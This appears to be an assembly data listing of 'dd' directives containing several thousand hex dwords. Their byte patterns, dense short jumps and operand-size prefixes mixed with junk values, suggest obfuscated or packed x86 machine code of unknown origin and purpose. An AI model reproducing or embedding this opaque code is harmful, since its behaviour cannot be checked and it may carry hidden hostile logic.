		dd 0E9CC19EAh, 10h, 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h
		dd 0BFF28B66h, 12847397h, 38D0Fh, 8B660000h, 0A8D280CBh
		dd 5BE4BE66h, 0CE9h, 9F494300h,	1D3C4A76h, 0C8752B11h
		dd 0D98B66ECh, 66F7BF0Fh, 0F6EC1BEh, 688h, 9CF28100h, 0F6B5C75h
		dd 0F60D1BFh, 18Eh, 0F61FC00h, 1B8Fh, 11E96000h, 54000000h
		dd 0D82C3556h, 94468F23h, 9C4F68CBh, 71B9A04Fh,	61F98B66h
		dd 0CD5ED281h, 0B8660C29h, 880F57E4h, 0Bh, 58E0Fh, 24BB0000h
		dd 66386B66h, 0E94D781h, 7E8h, 0E97F3600h, 11FC6C31h, 0E95ADE8Bh
		dd 13h,	0A35999A4h, 4CBEE58Ch, 0BA17698Fh, 2C1F16B7h, 0B122A18Ah
		dd 0ECC18185h, 0BE6DAA16h, 4F56A51Ch, 9E8h, 8102D900h
		dd 897B9476h, 0F5B1838h, 583h, 7F1DBA00h, 0F0817A1Ch, 652FED52h
		dd 0EE9h, 33525000h, 18919613h,	21B6CF84h, 6692D9C4h, 9BF4DA81h
		dd 4A34E181h, 0B70F58F1h, 0E86050DAh, 0Eh, 5160886Ah, 0AB704C99h
		dd 34B0FEE8h, 5259A026h, 0F5A6159h, 58Ah, 6BC9BF00h, 8166192Dh
		dd 0E9DF56F3h, 13h, 0C0E6E17Fh,	0A25DA4A2h, 32F299Fh, 0BFBB6B48h
		dd 0BFB2AE3Dh, 53CF2220h, 694C9EBBh, 830F64h, 0F000000h
		dd 8166C7BFh, 66AA24E3h, 0A93C281h, 0DAFFEE81h,	5E80000h
		dd 6000000h, 0DFBD2C88h, 0AE8h,	0E6733000h, 18FCA532h
		dd 0E8083D09h, 5, 343101B9h, 5B5E5E31h,	4C28060h, 0FCA8A61h
		dd 884h, 2870F00h, 0B7000000h, 0D2B70F53h, 0BEDFF480h
		dd 5EFABE93h, 2840Fh, 5CB50000h, 60FBB70Fh, 0C01C8DB9h
		dd 53DD8038h, 8B666061h, 8B6661C8h, 1CBB66DFh, 0E9F860AEh
		dd 5, 612EEBE7h, 860F6175h, 6, 0F1EFCF81h, 0E9F97D1Fh
		dd 7, 88C44A2Eh, 66A8358Ah, 4243E081h, 3DCB52B9h, 15DA8079h
		dd 8C0F5050h, 0
		dd 0BB66595Ah, 81661F91h, 0FAB17F1h, 10E8F6B7h,	5C000000h
		dd 0EDF1BED0h, 71B5EB44h, 0B31E34E8h, 8BA8ED6Dh, 820F5BCEh
		dd 2, 0C781C18Bh, 2988B565h, 0BF30BE66h, 665319B4h, 5BEDECB8h
		dd 9219B866h, 8E86052h,	82000000h, 255AF681h, 59190822h
		dd 13E9h, 0C137100h, 993A62Bh, 0A30067D6h, 73F92BE5h, 1E7FF559h
		dd 0C2815B61h, 67B3DCB3h, 5E9h,	7804D500h, 8166F3A4h, 0F5C3BE7h
		dd 38Eh, 0DBB70F00h, 15DA8166h,	2810F5Bh, 0B1000000h, 54BE6666h
		dd 0C1B70F29h, 836FBF66h, 0B2EA91B8h, 0A2BF666Ah, 66FD8A5Ch
		dd 81F0EABBh, 0C3C438C7h, 0C860F2Ch, 0F000000h,	688h, 840F00h
		dd 66000000h, 8A0FD98Bh, 4, 2A7ABA66h, 0F18B5957h, 6850F60h
		dd 81000000h, 212AF1E7h, 81666143h, 0E8A30DEBh,	0Ah, 80629C74h
		dd 74549A67h, 6651CC4Dh, 1782EE81h, 8B66585Fh, 0D98166C8h
		dd 46B09DB2h, 8B6605B3h, 0CE9C8h, 0FC840000h, 0D0C6C249h
		dd 0FC2B52F8h, 0EE82EA6h, 0F8000000h, 0A4E4D2E5h, 61B145AFh
		dd 0B406796h, 0C8B70F5Eh, 4761BF5Ah, 0E96001BAh, 9, 7BCAE13Bh
		dd 7B0DAC17h, 8061FC60h, 0B96679F3h, 0E960A6E9h, 11h, 3ECB12B0h
		dd 0F8CA4C0Bh, 2C23C7ECh, 5665C78Eh, 61585264h,	0EE9h
		dd 0FCFA1200h, 14C5D667h, 96C448B6h, 661931CCh,	0BA66C88Bh
		dd 850F1AD6h, 3, 0BBFE8B66h, 277C6B83h,	52F912B7h, 14E860h
		dd 46E10000h, 7BC77486h, 608E0F72h, 0E3589527h,	0B096C05Ah
		dd 8A5BDE9Ch, 0E95961C6h, 0Ah, 0A5B75FFFh, 988F15EFh, 0F88A7254h
		dd 4D20F381h, 66F91EEAh, 0E94C43B9h, 14h, 3C24A44Bh, 0C6B49F57h
		dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 58A0Fh, 81660000h
		dd 66996FCFh, 0AE81D881h, 3820Fh, 0B70F0000h, 81C88ADAh
		dd 0FE6EF7D3h, 0BA665267h, 0E95AE5FFh, 11h, 0F1844AEEh
		dd 1CE53AFBh, 0CD8681B2h, 0FBBB6707h, 8057F9F4h, 805A17DBh
		dd 0AE88CDDh, 0F9000000h, 83FA23D5h, 480491Ah, 0C78B6645h
		dd 0C3BF0F59h, 1EE081F9h, 0B86B4F3Ah, 54A81897h, 81FA8B66h
		dd 4F25C3C7h, 5860F0Fh,	66000000h, 0B5F0CB81h, 0EA7ABB66h
		dd 0F381F18Bh, 3CEC64DAh, 0AE8h, 18108000h, 0CD7813BDh
		dd 66BA6B39h, 58CC79B9h, 2820Fh, 0D98B0000h, 0F840Fh, 0E8560000h
		dd 7, 0F7E1BEC0h, 5F7654ECh, 0A3D18158h, 6650280Dh, 0F38BF98Bh
		dd 1B8F0Fh, 0E9530000h,	14h, 0EE0DF1DEh, 31BA4119h, 13CAE9Fh
		dd 546BA3DEh, 5E23D927h, 0CA816658h, 0B7602F24h, 14E9DBh
		dd 4A760000h, 2B111D3Ch, 0B7ECC875h, 0C429D2A8h, 1D4C94A1h
		dd 0F6114E1h, 28Bh, 60D9B000h, 0F880Fh,	0AE90000h, 0DC000000h
		dd 166E3EE4h, 7052A7F0h, 0BE665371h, 6159BC31h,	0B96660h
		dd 5E833h, 5090000h, 66CDDE03h,	0CED7F781h, 47B8615Fh
		dd 8025BCA4h, 0BE822EFh, 40000000h, 36EA7E20h, 604EB487h
		dd 0BF0FEBE7h, 0DD8058F1h, 0B70F5161h, 0EDB05FCEh, 5EFA8A53h
		dd 14E9h, 0BDCCC200h, 4750FBFh,	7FA7B398h, 0BDE01BD0h
		dd 0FB1E6CEBh, 0BF0FF8C9h, 0D281F5FEh, 7E3934D9h, 28D0Fh
		dd 0D68B0000h, 3A72BB66h, 2679C881h, 8B661C15h,	3840FC6h
		dd 0F000000h, 0AE9C7B7h, 62000000h, 1C4D44CFh, 0DA477B9Ah
		dd 10E84Bh, 1FE0000h, 0AACB8E08h, 4E4BB99Ah, 0C31DA68Dh
		dd 0C681B7BCh, 651953F6h, 3810F58h, 80000000h, 0BF0F14D8h
		dd 0C2E181D0h, 0B9298BDBh, 900719Eh, 57FFBF0Fh,	0DE8h
		dd 7960E000h, 9E02A499h, 98410747h, 8B666686h, 665B5AC7h
		dd 5E9C18Bh, 18000000h,	2B530F0Dh, 18890Fh, 13E90000h
		dd 0DD000000h, 0A3C5EFD5h, 0A36620D8h, 0B68AEB73h, 0C8D8BB36h
		dd 0B70FF179h, 13E9DEh,	0AEFE0000h, 0E7ADFA6Dh,	0A099BD6Eh
		dd 7A4D62E3h, 4068A6DEh, 2800F42h, 8B000000h, 0CAC080D9h
		dd 79B86660h, 0F61F996h, 0E960D9B7h, 0Eh, 75A810F0h, 0A4A5EA37h
		dd 3BA9904Eh, 0B8666FE4h, 81616C4Dh, 14E49ED3h,	11E83Bh
		dd 0C5CD0000h, 9C46C759h, 15D05994h, 0A90BE10Ah, 53CD561Ch
		dd 58FE8B66h, 0F8AFB75Eh, 0E940DC80h, 6, 7656E725h, 0BB66B683h
		dd 60567E30h, 4C92BF66h, 815B61F9h, 20FE6FEEh, 7E81Ch
		dd 0C680000h, 0FCBB8AEEh, 6810F56h, 0F000000h, 86h, 0B9665A00h
		dd 6060BBF0h, 5E8h, 0CCCC6300h,	0F59E667h, 86h,	0CF816100h
		dd 71BF1555h, 0C3BF0F61h, 0B1D88166h, 0C890FA3h, 0F000000h
		dd 688h, 870F00h, 80000000h, 7E974F3h, 3C000000h, 0DA9BD425h
		dd 13E98347h, 1E000000h, 3F3836B5h, 0D63F2CC2h,	0B1553E8Dh
		dd 0BC37B711h, 0AE9362Bh, 35000000h, 2025D009h,	780F8C6Dh
		dd 0F9F8B909h, 0D0816FE2h, 251D2978h, 57F0BF0Fh, 5ED1BF0Fh
		dd 2880FF5h, 0B0000000h, 8E85Bh, 0B5810000h, 876E51CFh
		dd 58F91BBCh, 0DA81D18Ah, 0BA7B220h, 0DE860h, 3D310000h
		dd 7A67A0h, 1B29133Ch, 5BCC52EBh, 0CE9h, 0FBC57700h, 6E9C20AEh
		dd 0C38A8664h, 8B6661C3h, 810DB6D0h, 91BFBC3h, 2E18134h
		dd 0F7186E4h, 7E9FFB7h,	7000000h, 0F4DB5642h, 0EC8A4615h
		dd 6660D88Bh, 8061CA8Bh, 0CE936CAh, 0F9000000h,	83EB0A17h
		dd 68050C95h, 8BBBE9B9h, 0E91DB3DAh, 9,	704D50CAh, 7DC65942h
		dd 12E9F948h, 5C000000h, 0E7562602h, 0D24C13B1h, 7D62B365h
		dd 544826CCh, 0E8E58A22h, 0Bh, 5790DCB1h, 0FA16E893h, 0E96E7338h
		dd 0Ah,	2109C451h, 599CE115h, 8A5BA0C8h, 8007B3F4h, 81667DDCh
		dd 0BED65BF7h, 21E28954h, 0B7F8B70Fh, 18BA6098h, 6128CCBCh
		dd 2860F52h, 60000000h,	0BF0F5A61h, 0FE9FEh, 0D2F50000h
		dd 22CA5ED4h, 0CAA66087h, 0BF13AA1Ah, 0AE905h, 78F20000h
		dd 608BC312h, 8490737Ah, 8B665B52h, 0EA8160F3h,	10B2A404h
		dd 6161F960h, 64A8D381h, 0FE82003h, 44000000h, 0E090CF8Eh
		dd 0C924DF98h, 0E212510Bh, 8A0F9035h, 4, 5906BE66h, 0D8B70F59h
		dd 68F0Fh, 840F0000h, 0
		dd 87C98166h, 66E38AC4h, 20D4C681h, 0FD78BFCh, 0BB66CFBFh
		dd 0FF94C68h, 6E8D3B7h,	8B000000h, 23C1412Eh, 0CFDA8146h
		dd 5E50A1B4h, 1DDEB960h, 24BE2B1Ch, 612B2657h, 9E9h, 14D6E400h
		dd 0C6054A49h, 0C1817E11h, 4507E077h, 8E8h, 876F5E00h
		dd 354EC3A7h, 0F4BB6614h, 8B665B28h, 0C081F5FAh, 1709DB90h
		dd 0B866D88Bh, 7E9861Dh, 0ED000000h, 35B7EF97h,	0BE92953h
		dd 0D3000000h, 5D297DC1h, 22946FD5h, 9BA6161h, 605EB343h
		dd 0D68DC381h, 0EE92518h, 27000000h, 38542EB4h,	1B81213Dh
		dd 7FFFC583h, 0E9606138h, 0Ch, 0E6481895h, 17BCA309h, 0BB6052F7h
		dd 85DFF181h, 0B46127BFh, 0C0B70F84h, 0FAACDDB8h, 800FF52Ah
		dd 0Eh,	5E8h, 0BA2B9000h, 0BF0F4E63h, 7E95BCFh,	89000000h
		dd 42BC8051h, 8BF53FADh, 0F68053C8h, 8B665E55h,	12870FCEh
		dd 0F000000h, 0C84h, 6E800h, 20420000h,	165E48E0h, 0D08B575Eh
		dd 98E0F5Bh, 0F000000h,	38Ch, 0F6B70F00h, 81F9BF0Fh, 606C72C9h
		dd 6650FC0Dh, 0DCECEB81h, 68F0F5Ah, 0F000000h, 88h, 12BB6600h
		dd 2C08148h, 0F520D16h,	890FF8BFh, 3, 66D3B70Fh, 0FAF69BAh
		dd 12E8D3BFh, 0C4000000h, 0AAC09EA5h, 3458F021h, 8B1B090Eh
		dd 5C339578h, 10E968h, 93E50000h, 7F422676h, 0CDC5F905h
		dd 0E2EB4B44h, 0B85A2ED4h, 59F68372h, 667FE880h, 0F5A528B9h
		dd 7E9h, 73BA1B00h, 8DC33C50h, 0AE96160h, 0B6000000h, 42E4703Fh
		dd 0CCA2D8C5h, 0DCF811Dh, 667177A2h, 8166F98Bh,	0E8D225E2h
		dd 0Bh,	1611AE1Ah, 1F990281h, 6601FA09h, 592161BAh, 66C0E780h
		dd 5E8CA8Bh, 98000000h,	0E16AA8FFh, 0BF5A21B6h,	4D917503h
		dd 6E9h, 52029000h, 0E9BF81DDh,	12h, 877C5BF5h,	0F7FA2F2Ah
		dd 0CD4019BFh, 0B5B06591h, 0B70F2E28h, 52D38BDEh, 5FDA8B66h
		dd 0A8D0Fh, 860F0000h, 4, 81EBA66h, 14E9h, 58AB0000h, 0C49033A9h
		dd 7879D19Eh, 38823843h, 0F7EDA22Bh, 6D7ABE08h,	0BA664CD3h
		dd 5E99D55h, 0F0000000h, 9D7EDD71h, 13E2BE66h, 66DC80F9h
		dd 5FB4B452h, 11E9h, 0CC456000h, 4890A78Eh, 9687386Eh
		dd 0CBA7FF3Dh, 66FC0DFDh, 0FF0ECBFh, 98Bh, 820F6000h, 0
		dd 805261F5h, 805A03D9h, 0F48046E9h, 11B4B960h,	8B0F4955h
		dd 3, 0FB0DE80h, 383h, 0D7BF0F00h, 0B8D0Fh, 0BF600000h
		dd 6F88C036h, 0AF0CBE66h, 0AE861h, 5AAE0000h, 9C5AC7ADh
		dd 9029E668h, 0EE8h, 0DD286A00h, 0A40D772Fh, 74AD8936h
		dd 816A0C24h, 847611C6h, 0F5A5E76h, 820FF3B7h, 7, 4142B852h
		dd 665B0361h, 801528BEh, 0F08B7ADDh, 0C8B0FF9h,	0F000000h
		dd 680h, 850F00h, 66000000h, 13E8D08Bh,	0D4000000h, 0B207224Ah
		dd 0A1CD504Ah, 0AB923343h, 12B51242h, 6E94EDEh,	1C000000h
		dd 59CD984Eh, 860F5FFFh, 0Fh, 0AE9h, 348DC400h,	36D7FF2Dh
		dd 816BBEEAh, 536752D7h, 0D88B6642h, 5F5E5251h,	78F0FF5h
		dd 51000000h, 7DC2D5BEh, 12E85B79h, 0EE000000h,	0C0843B09h
		dd 807D810h, 0FB4D6C4h,	0C8AFF110h, 0BE8A6h, 0C6AB0000h
		dd 296CECEFh, 6487E6AEh, 5849B549h, 0C18B665Bh,	2AC98166h
		dd 7E99Eh, 0B9230000h, 97E4E3A2h, 0A2D6819Ch, 6627EBEBh
		dd 0F28BF78Bh, 6E9h, 977F4400h,	60BB2F91h, 16C38166h, 0E9FC61E4h
		dd 14h,	0CED3C5DFh, 16EA5EF4h, 0D562DB94h, 9C9E21Eh, 4A89AD7Ch
		dd 0FEBF0F50h, 0EA816658h, 0E9602FD7h, 0Ch, 5FEDDA99h
		dd 955D69D5h, 0DA1BF246h, 0FF861F5h, 0B86h, 840F6000h
		dd 0
		dd 61D88B66h, 0FD38B66h, 8166DFB7h, 50E4FCD0h, 5FD38166h
		dd 0F5515E1Bh, 0D8816659h, 0BF0FF3C1h, 10E957CAh, 9A000000h
		dd 72EBFBF0h, 558AA81Fh, 0CDB69325h, 5A4183B7h,	8B66F58Ah
		dd 0E8DE80C8h, 0F8F28B66h, 0B6FEE980h, 0FE98Fh,	6A2F0000h
		dd 97A40C7Eh, 64E0AC5Ch, 0AD1E8600h, 870FF8C3h,	4, 0E5A5BF66h
		dd 8AC38B66h, 0E9D98AF4h, 8, 2F1BEDDEh,	81280E65h, 14E9h
		dd 0D5F1500h, 0F5B1717Ch, 64AD3967h, 571484FFh,	0FD0D3A7h
		dd 62EFB9FCh, 0C78B4758h, 0B260E5B6h, 80566160h, 0F5BF0CAh
		dd 0BF0FC6BFh, 0F82BB1D0h, 0F3B70FF9h, 38B0Fh, 8B660000h
		dd 816660CFh, 0FBDDAE7h, 585h, 0C0816600h, 0F6108CAh, 489h
		dd 0EAB96600h, 13E96Dh,	0C6960000h, 6FC62B6Ch, 25B1C1BFh
		dd 3B9050F7h, 81ACEB7Dh, 0AE9F8h, 0E1CF0000h, 8A71E796h
		dd 90376B74h, 3D78B866h, 0A95E6EBBh, 0F0F6814Fh, 0B54EF77Eh
		dd 9AD3811Ah, 60015DC1h, 9E9h, 0EFA9FC00h, 52338349h, 0B866D0C4h
		dd 0E9616798h, 0Dh, 974F69D7h, 2AB9DB21h, 9A95D961h, 0EA85BE1Ah
		dd 0BF0F009Eh, 0C78B66F2h, 0BDE78166h, 2E28BFDAh, 8B6645A9h
		dd 14E9FEh, 0EF150000h,	1E81DA85h, 9B6D89F6h, 0C638F79Dh
		dd 6CEED62Eh, 8166AF93h, 0FCEBDD1h, 8B66F6BFh, 0E3F2B9C8h
		dd 8B660C68h, 87D981F7h, 662B2608h, 25EDC181h, 0C78166F9h
		dd 0FE9C936h, 79000000h, 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh
		dd 820F7D91h, 17h, 12E9h, 5EBDA500h, 2A9F8DF1h,	0ED694517h
		dd 1D2B02Ch, 8BE3EC94h,	7E9C1h,	0BCD0000h, 0B4234F35h
		dd 6E93Ah, 0C3DE0000h, 702A0EF7h, 6E9h,	21179600h, 8B82C85Bh
		dd 0F88B66C8h, 0B8C0Fh,	6E90000h, 0C000000h, 9F163741h
		dd 12E97Dh, 50710000h, 531DF64Ah, 9EA0BE71h, 719CB995h
		dd 16CBCAD1h, 525EF780h, 5B36E880h, 8BF8F08Bh, 0D78B66C3h
		dd 0AE35C781h, 0B70F4BCBh, 0CAB70FC7h, 3830Fh, 0CF800000h
		dd 0AF49BFD5h, 0DE93405h, 84000000h, 5B254D6Fh,	641AC4CCh
		dd 791659B2h, 0B2CE8160h, 81499310h, 8E355AC3h,	11E86175h
		dd 1B000000h, 0CBA55B9Ch, 0C245B67Bh, 0DC0282EAh, 0D953E55Bh
		dd 5EF2BF0Fh, 0F4F68166h, 5E9B5h, 32CF0000h, 8A367ED4h
		dd 93F6BEC7h, 0D7811704h, 5AB4660Fh, 0EE951h, 59880000h
		dd 0CD304FACh, 0E83BFD01h, 0E5ED986Eh, 57D38B59h, 5B66F380h
		dd 0EE9h, 304E8400h, 13681F32h,	3E9D2075h, 0F42D8E5h, 8157F6BFh
		dd 0FC8A4FC7h, 14BF5B35h, 6641374Eh, 800008BBh,	880FFDDBh
		dd 3, 66D98B66h, 60AB07BAh, 0D3816651h,	0F590232h, 8B61F8BFh
		dd 0BFCB8AF9h, 1FEC7755h, 830FF18Bh, 5,	28E38166h, 0C081662Ch
		dd 8B6610BBh, 8E9FAh, 0A5970000h, 275AA88Fh, 8B6633CFh
		dd 7840FD6h, 60000000h,	60C6BF0Fh, 0C38B6161h, 0FD57BF66h
		dd 13E9h, 1FBDEC00h, 9AD9BC0Dh,	0BC830416h, 0D99C61F7h
		dd 84A42B3Ah, 0F88B6656h, 66F4B159h, 51F9C281h,	5810Fh
		dd 0B2600000h, 0F61F855h, 0C881F6BFh, 789EFE14h, 2810Fh
		dd 0D98B0000h, 41B0CBB1h, 2295D181h, 66F97628h,	0FE8BD38Bh
		dd 0ACB95E57h, 8A582681h, 0CE9C8h, 0C1050000h, 0AB73E3BFh
		dd 54C3B56Dh, 0B70F9CBFh, 0D1BF0FF6h, 0E0CE8166h, 8B66F85Ch
		dd 67C781DAh, 5254BAECh, 0DE9h,	0DE740F00h, 8847C9B8h
		dd 35627B57h, 0F5F6710h, 38Eh, 0F6BF0F00h, 48D0FF8h, 66000000h
		dd 667230BBh, 4DB9CF8Bh, 60174B52h, 6061D78Bh, 0C6B70F52h
		dd 70D78058h, 8A70B161h, 38A0FFDh, 0F000000h, 81F5FEB7h
		dd 0BF13A7F3h, 3840F14h, 66000000h, 11E9C38Bh, 5A000000h
		dd 61E7C6F3h, 1B7B1EECh, 0CA63D6EDh, 0E01F3AB5h, 0BE8h
		dd 6118E400h, 101DB53Fh, 0A4B1DE5Fh, 3CC78152h,	5E5F5F66h
		dd 0E881665Ah, 0F08BA561h, 6E9h, 0E44BFF00h, 605CECBFh
		dd 66E6C7B8h, 61D1B658h, 13E9h,	0FB2F5100h, 73A60B88h
		dd 1D0E001Ch, 111786FBh, 3F4A8BFDh, 0CE8B6660h,	0DA8B6661h
		dd 0CDD68166h, 5FFC531Fh, 5BF6660h, 37CA8117h, 6117FAE4h
		dd 11E8h, 10F97600h, 943DFD3Bh,	2489AFB8h, 88DE0443h, 12E98B14h
		dd 72000000h, 0E1DD7211h, 40F79554h, 37539BFBh,	4023FB68h
		dd 840F5BF7h, 7, 808DB560h, 0F619AC6h, 58Ch, 0DA1CBA00h
		dd 66F9521Fh, 0F2979BFh, 0D78BDAB7h, 0BF0F5A53h, 7E8DBh
		dd 2C690000h, 37F50ACh,	0BA666098h, 8E8EA8Ch, 73000000h
		dd 25330CFBh, 5E9B5921h, 75B55F61h, 0BEF6BF0Fh,	5CA960B5h
		dd 0CBF8B966h, 2021D8B8h, 0E6F3810Eh, 60588707h, 12880Fh
		dd 0DE90000h, 0E9000000h, 5760074h, 2CCDBDBAh, 9E531410h
		dd 61C3B70Fh, 10E9h, 682DBF00h,	0EC594811h, 5116A136h
		dd 963EDCF7h, 10E956D6h, 4F000000h, 0C05436B9h,	23D22A40h
		dd 236B1089h, 5F3C63B0h, 0E8F0Fh, 81600000h, 33DE78D0h
		dd 33DA8149h, 6127C749h, 8A0Fh,	9ABE0000h, 665BA1E9h, 0B866CA8Bh
		dd 0B2601152h, 3CB0610Bh, 11E9C28Ah, 57000000h,	7FAA9EAFh
		dd 3079D9FDh, 3F0B3F37h, 698791BFh, 0E945CC80h,	0Bh, 0FBFB6092h
		dd 0A0EC8334h, 0E96062BCh, 5, 50CE17DDh, 0DE8C1h, 0F6480000h
		dd 0F5AE3683h, 0F2DC0B2Eh, 608F6EE9h, 0FE8h, 0EB93700h
		dd 0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 0B95E615Fh, 78407FFCh
		dd 0CE9h, 0BD522200h, 1E72695h,	557A8A57h, 5CBF6095h, 660ABDE4h
		dd 54CDF381h, 0C7C5BF61h, 0BF0F546Bh, 8840FC2h,	0F000000h
		dd 28Ch, 0F616000h, 5E56CABFh, 8649CE81h, 0F9602367h, 6814CF81h
		dd 0E9614B05h, 14h, 390CE9A0h, 938B8494h, 56B77ADCh, 1756D606h
		dd 72A28EE1h, 6E9F8h, 9B070000h, 0F7367CFh, 52CE8B66h
		dd 9E9h, 1DFD5B00h, 0F5C62168h,	805A7BD6h, 0F52D4E5h, 58Ah
		dd 9508BE00h, 8158759Ch, 5B41FBE0h, 6652FC43h, 8059CE8Bh
		dd 8B60BCC4h, 6880FF1h,	81000000h, 0D3EB2ECFh, 8B66613Bh
		dd 73C880D7h, 13E8h, 25E4D900h,	844AEECCh, 0E53AFBF1h
		dd 8681B21Ch, 0BB6707CDh, 0BF0F6059h, 0D78B66CBh, 0D6816661h
		dd 8B66F649h, 0F38B66DAh, 2870F60h, 60000000h, 0DB816661h
		dd 66611AA7h, 810FCE8Bh, 6, 820Fh, 8A600000h, 0CB8161DAh
		dd 7B9D322Bh, 0A8D063B9h, 0E9576006h, 9, 80BD1F2Dh, 519AA68h
		dd 0FC615A93h, 5890F60h, 66000000h, 372DF081h, 12E9h, 9BF65000h
		dd 3C8384CCh, 0CE08C104h, 8FABE523h, 615C21DEh,	53D2BF0Fh
		dd 1850Fh, 5EF50000h, 8E9h, 0F99A6A00h,	0F32CD6ECh, 0FBBB370h
		dd 480h, 0D5BB6600h, 0FE38A71h,	389h, 16E98000h, 5E8h
		dd 0E8835000h, 0F681A9E6h, 5B38862Ah, 8B66515Bh, 890F5BFAh
		dd 5, 1D080EBAh, 8A53606Bh, 0C38059C7h,	0BF0F6117h, 0D7B70FC9h
		dd 60E6E980h, 8B61F8F5h, 7E9DFh, 18B0000h, 66FADC13h, 0C7BF66E5h
		dd 2DB96641h, 228E0F84h, 0E8000000h, 8,	1FFEF111h, 8E7A9D44h
		dd 0FE9h, 1369B300h, 58361564h,	750DCE4Ah, 4DCE5FAh, 0FE85Bh
		dd 0A4680000h, 84D49063h, 97C5AB4Bh, 0AF967997h, 1419BEE7h
		dd 0E95A53E3h, 0Dh, 5ACBDED9h
		dd 1C9D9E58h, 65BDE20Ah, 12E9D4h, 0E8270000h, 16D7F9Ah
		dd 621E559Dh, 0C026D4BAh, 196ECBE2h, 14E8h, 6D7BF800h
		dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 5658FCC2h
		dd 61D68B60h, 2CF38159h, 810AEDD9h, 6F49E6h, 0D1B86612h
		dd 66F98A9Ah, 1C69EB81h, 14E9h,	90500h,	31D7E0F5h, 0CBF29632h
		dd 5BDAB75Eh, 95F7D04Bh, 0BC080A8h, 27A8BE66h, 8A5BF557h
		dd 5E860ECh, 42000000h,	6A8AE709h, 8BABBF66h, 0F88B6659h
		dd 4820F61h, 66000000h,	0F99AABEh, 384h, 0D38B6600h, 57C1BF0Fh
		dd 5E9h, 76CD8F00h, 0E95A2BA8h,	0Dh, 98115843h,	9940E536h
		dd 0DDEA9F4Dh, 1AF58069h, 8F0Fh, 0BF660000h, 11E95F99h
		dd 0BC000000h, 0FC4CC5BEh, 0D6843171h, 271F1774h, 0B9A2BFFAh
		dd 665DC380h, 0BE6D89BFh, 40FCE0C3h, 0DE9h, 0DB8C5900h
		dd 0E6A80BFAh, 0C85DDAE9h, 0C68B16C4h, 0B3FA8B66h, 8166F8D7h
		dd 6652F1CAh, 20F7E781h, 60F5B8B8h, 0BBB96648h,	1F8C0FE8h
		dd 0F000000h, 198Fh, 13E800h, 48BA0000h, 0AEB3D138h, 7AAE3508h
		dd 681188B1h, 1411BC05h, 0BF0F5E22h, 10E9C9h, 68B30000h
		dd 0A53C3267h, 5911FB06h, 0B7E403ABh, 66573890h, 11C3E381h
		dd 0F606058h, 8166DABFh, 615464C3h, 0BE666061h,	6661E6A3h
		dd 0FAC6C381h, 1D820Fh,	0E8600000h, 12h, 19F9E168h, 0A0B5B86Ah
		dd 4FB926EFh, 0FCDF20E7h, 0F5EAC1Ah, 8161C1BFh,	0BDEC43C1h
		dd 0BE39BE6Bh, 0B70F5F5Ch, 0FE9FBh, 0F0210000h,	90E3458h
		dd 95788B1Bh, 0A6685C33h, 0DE842h, 0DC770000h, 9358E5BEh
		dd 0EB8ABE7Bh, 0F5CA403h, 665EFEB7h, 2D78E081h,	5E8h, 6AC96500h
		dd 99B76088h, 11880F59h, 0F000000h, 0B87h, 5E800h, 0AC6D0000h
		dd 5FCEF703h, 14E9h, 5886D200h,	0A1DF3B7Ah, 0D892AEDDh
		dd 51EE7599h, 0F2645A7Fh, 0B800FE1h, 60000000h,	880Fh
		dd 0D6800000h, 8A0F61A3h, 0Bh, 5860Fh, 0D7BA0000h, 81422ADFh
		dd 84BA29E2h, 0CE816675h, 0DE8F751h, 0E8000000h, 90EF3AA5h
		dd 0E384ACC0h, 5681E2E6h, 5E10ED80h, 0EE8h, 247C8A00h
		dd 0D3108194h, 10DFE46Bh, 0E93191E1h, 6, 0FE55FDE3h, 0B959749Bh
		dd 3993C304h, 0DE9h, 0DA80BF00h, 1B9CDBBEh, 7C4062DCh
		dd 0DD80AEBAh, 38B0F02h, 66000000h, 0C5BEF38Bh,	80440A52h
		dd 0DAB4B5EAh, 7CD1BE66h, 7E8h,	0EE5DB800h, 0CF11F9A9h
		dd 664CB45Bh, 0E984C8BAh, 6, 12396217h,	8A6028DAh, 5E9FAh
		dd 44FD0000h, 61AE8FFBh, 0F6050B4h, 381h, 0D38B6600h, 3FC78060h
		dd 7E9h, 0E2688800h, 44890FA3h,	0F2816161h, 3CE05AF9h
		dd 0FC7B70Fh, 1B86h, 14E95600h,	0CE000000h, 4DBB4128h
		dd 9122A4B9h, 1637410Ch, 31677D9Fh, 59156BA2h, 66F98B66h
		dd 0B70FDA8Bh, 0D08B66CAh, 0B8CABF0Fh, 5A5801C2h, 56C7BF0Fh
		dd 91D08166h, 0F1815835h, 52BDFAF0h, 11E9h, 0B5ADF000h
		dd 9CC8E03h, 43E5A19h, 7227A76Bh, 850F1D03h, 6,	810Fh
		dd 0C0B40000h, 8FEFBF66h, 66CE8B66h, 6657CB8Bh,	5EA7C7BBh
		dd 14E9CF8Bh, 0AA000000h, 0F6DCEF76h, 2597738Fh, 605B395Dh
		dd 0F677F22Ah, 81D8AB80h, 89254AD1h, 669AB02Dh,	602E0DB8h
		dd 0BABA6652h, 0CA815EA2h, 79F2B598h, 3800F61h,	0F000000h
		dd 7E8CAB7h, 60000000h,	0F9810F8Bh, 665B1079h, 0DA81DF8Bh
		dd 1B81BAA8h, 8166F78Bh, 81666AF0h, 8479C2D7h, 0DE816672h
		dd 0DE81209h, 0D8000000h, 906470BFh, 7B1BD96Fh,	74EA4466h
		dd 59D38B66h, 0AE9h, 0E87F2F00h, 66982142h, 0E905FFEBh
		dd 11h,	0D0AAD96Ch, 1D4DD75Ch, 0F913CC38h, 43360E4Bh, 0C2EC809Eh
		dd 66C7BF0Fh, 0B63ED781h, 9BD35DBBh, 4911BF42h,	5E91FA4h
		dd 82000000h, 28879AE0h, 13E8h,	0E7DF5100h, 9EE33C70h
		dd 80B1E2B6h, 248FD1DCh, 0ADC706F9h, 5AF88B66h,	118E0Fh
		dd 0CE90000h, 0CA000000h, 1C5C541h, 0EEA63C85h,	0F810C13Ch
		dd 0C25BBEBEh, 0DA8B664Ch, 14E960h, 0D6B40000h,	8B855624h
		dd 0EF3886B2h, 0D1EEF56Eh, 0A1F12AA9h, 665103BFh, 6158C28Bh
		dd 3F2B966h, 0BE9F5h, 340B0000h, 41158113h, 929CC49Eh
		dd 11E94Eh, 0EB0D0000h,	0C94CA05Ch, 79C388C3h, 82AD57EAh
		dd 8A7F40DBh, 0D18AF5E6h, 66C7BF0Fh, 93FDD081h,	591AB866h
